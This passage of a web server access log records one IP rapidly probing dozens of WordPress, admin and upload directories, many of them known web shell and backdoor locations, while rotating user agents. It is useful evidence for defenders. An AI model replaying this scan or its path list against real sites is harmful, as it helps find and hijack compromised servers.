HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:29 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:29 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:30 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:02:30 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:30 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:30 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:02:30 +0300] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:30 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:02:30 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:31 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:31 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:31 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:02:31 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:31 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:02:31 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:31 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:32 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:32 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:02:32 +0300] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:32 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:32 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:32 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:32 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:02:32 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:32 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:02:33 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:33 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:33 +0300] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:02:33 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:33 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:33 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:34 +0300] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:34 +0300] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:34 +0300] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:34 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:35 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:35 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:35 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:35 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:02:35 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:02:35 +0300] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:36 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:36 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:02:36 +0300] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:36 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:36 +0300] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:36 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:02:36 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:36 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:37 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:37 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:37 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:37 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:02:37 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:37 +0300] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:37 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:38 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:38 +0300] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:38 +0300] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:02:38 +0300] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:38 +0300] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:02:38 +0300] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:38 +0300] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:02:38 +0300] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:02:38 +0300] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:39 +0300] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:39 +0300] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:39 +0300] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:39 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:39 +0300] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:39 +0300] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:39 +0300] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:39 +0300] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:02:39 +0300] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:40 +0300] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:40 +0300] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:02:40 +0300] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:40 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:02:40 +0300] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:40 +0300] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:40 +0300] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:41 +0300] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:41 +0300] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:41 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:02:41 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:41 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:41 +0300] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:41 +0300] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:42 +0300] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:42 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:02:42 +0300] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:42 +0300] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:42 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:42 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:42 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:43 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:43 +0300] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:43 +0300] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:43 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:43 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:02:43 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:43 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:43 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:43 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:02:44 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:02:44 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:02:44 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:44 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:44 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:44 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:44 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:02:44 +0300] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:45 +0300] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:45 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - 